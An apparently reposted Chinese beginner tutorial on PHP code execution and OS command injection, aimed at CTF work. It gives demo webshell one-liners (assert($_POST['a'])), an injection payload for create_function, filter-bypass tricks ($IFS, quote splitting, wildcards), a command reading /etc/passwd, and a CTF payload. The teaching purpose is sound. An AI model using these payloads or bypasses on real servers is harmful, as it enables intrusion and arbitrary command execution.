代码执行与命令执行


看到一位大佬写的一篇关于代码执行和命令注入的短文章,还挺实用,尤其是对于我们这些新手来说,所以拿来分享

内容引自:链接地址

0x01 代码执行

代码执行概念

远程代码执行实际上就是调用服务器网站代码进行执行。

执行方法

1.eval

eval():将字符串当做函数进行执行(需要传入一个完整的语句),执行后会输出一个hello
demo:
<?php
eval(‘echo “hello”;’);
?>

2.assert

assert():判断是否为字符串,是则当成代码执行
低版本的demo:

	<?php assert($_POST['a']);?>

  
  
  • 1

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
7.0之后的demo:

	<?php
	$a = 'assert';
	$a(phpinfo());
	?>

  
  
  • 1
  • 2
  • 3
  • 4

3.call_user_func

call_user_func():回调函数,可以使用is_callable查看是否可以进行调用

demo:

	<?php
	highlight_file(__FILE__);
	$a = 'system';
	$b = 'pwd';
	call_user_func($a,$b);
	call_user_func('eval','phpinfo()');
	?>

  
  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

其中基本可以传递任何内置的和用户自定义的函数, 除了语言结构:array、echo、empty、eval…

4.call_user_fuc_array

call_user_fuc_array():回调函数,参数为数组

demo:

	<?php
	highlight_file(__FILE__);
	$array[0] = $_POST['a'];
	call_user_func_array("assert",$array); 
	?>

  
  
  • 1
  • 2
  • 3
  • 4
  • 5

5.create_function

create_function():创建匿名函数

string create_function(string $args,string $code)

args是要创建的函数的参数,code是函数内的代码

demo:

	<?php
	highlight_file(__FILE__);
	$a = create_function('$code', 'echo $code');
	$b = 'hello';
	$a($b);
$a = 'phpinfo();';
$b = create_function(" ", $a);
$b();
?&gt;
  • 6.preg_replace

    preg_replace():当为/e时代码会执行,前提是不超过php7

    demo:

    	<?php
    	highlight_file(__FILE__);
    	$a = 'phpinfo()';
    	$b = preg_replace("/abc/e", $a, 'abc');
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5

    7.array_map

    array_map():为数组的每个元素应用回调函数

    demo:

    	<?php
    	highlight_file(__FILE__);
    	$a = $_GET['a'];
    	$b = $_GET['b'];
    	$array[0] = $b;
    	$c = array_map($a,$array);
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    用法:/?a=assert&b=phpinfo();

    8.array_filter

    array_filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含

    在返回的结果数组中。数组的键名保留不变。

    demo:

    	<?php
    	highlight_file(__FILE__);
    	$array[0] = $_GET['a'];
    	array_filter($array,'assert');
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5

    9.usort

    usort():使用自定义函数对数组进行排序

    demo:

    	<?php
    	highlight_file(__FILE__);
    	usort(...$_GET);
    	#usort($_GET[1],'assert');
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5

    …$GET是php5.6引入的新特性。即将数组展开成参数的形式
    用法:

    	1[]=phpinfo()&1[]=123&2[]=assert
    
      
      
    • 1

    大致过程:

    大概过程就是,GET变量被展开成两个参数[‘phpinfo’, ‘123’]和assert,传入usort函数。usort函数的第二个参数是一个回调函数

    assert,其调用了第一个参数中的phpinfo();

    10.${}

    ${}:中间的php代码将会被解析

    demo:

    	<?php
    	highlight_file(__FILE__);
    	${phpinfo()};
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4

    代码执行例题
    题目:

    	<?php
    	highlight_file(__FILE__);
    	$price = $_GET['price'];
    	$code = 'echo $name.'.'的价格是'.$price.';';
    	$b = create_function('$name', $code);
    	$b('iphone');
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    代码逻辑很清楚,调用b这个匿名函数,参数为iphone。

    在整个过程中,我们能够控制的只有name的值,我们把这个函数b拆开来看就变成了下面这样:

    	function b($name){
    	 echo $name.'.'的价格是'.$price;
    	}
    
      
      
    • 1
    • 2
    • 3

    所以最后构造payload为:123;}phpinfo();/*

    那么传入后代码就会变成下面这样:

    	function b($name){
    	 echo $name.
    	     }phpinfo();/*'.'的价格是'.$price;
    	}
    
      
      
    • 1
    • 2
    • 3
    • 4

    0x02 命令执行

    命令执行概念

    通过易受攻击的应用在主机上执行任意命令。

    命令执行常见函数

    1.system

    system:可以执行系统命令并将其输出

    demo:

    	<?php
    	highlight_file(__FILE__);
    	system('pwd');
    	system('whoami');
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5

    2.exec

    exec:执行命令,但无输出,可以使用output进行输出

    demo:

    	<?php
    	highlight_file(__FILE__);
    	exec('pwd',$b);
    	var_dump($b);
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5

    3.passthru

    passthru:执行命令并输出

    demo:

    	<?php
    	highlight_file(__FILE__);
    	passthru('ls');
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4

    4.shell_exec

    shell_exec:执行命令,但无回显

    demo:

    	<?php
    	highlight_file(__FILE__);
    	var_dump(shell_exec('ls'));
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4

    5.反引号

    反引号:执行shell命令,并返回输出的字符串

    demo:

    	<?php
    	highlight_file(__FILE__);
    	$a = 'pwd';
    	echo `$a`;
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5

    6.ob_start

    ob_start:打开输出控制缓冲

    demo:

    	<?php
    	highlight_file(__FILE__);
    	ob_start("system");
    	echo "whoami";
    	ob_end_flush();
    	?>
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    0x03 绕过

    1.常见分隔符

    	•	换行符 		 %0a
    	•	回车符		 %0d
    	•	连续指令 	 ;
    	•	后台进程 	 &
    	•	管道符		 |
    	•	逻辑 	||	 &&
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    2.绕过空格

    	•	$IFS
    	•	<
    	•	${IFS}
    	•	$IFS$9
    	•	%09
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5

    3.各类符号

    即使用”substr string pos len“的方法进行取字符

    demo:

    	echo "${PATH:0:1}"
    	echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
    	echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
    	expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
    	•	%0a
    	•	%0d
    	•	%00
    	•	%20
    
      
      
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    4.敏感字符绕过

    变量绕过

    	a=l,b=s;$a$b
    
      
      
    • 1

    base64编码绕过

    	echo 'cat' | base64
    
      
      
    • 1

    未定义的初始化变量

    	cat$b /etc/passwd
    
      
      
    • 1

    连接符

    	cat /etc/pass’w’d
    
      
      
    • 1

    使用通配符:

    如:

    /???/?s --help
    
      
      
    • 1

    题目地址:http://moectf.cn:10012/

    payload:/?cmd=eval($_GET[%27a%27]);&a=system(ls);

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值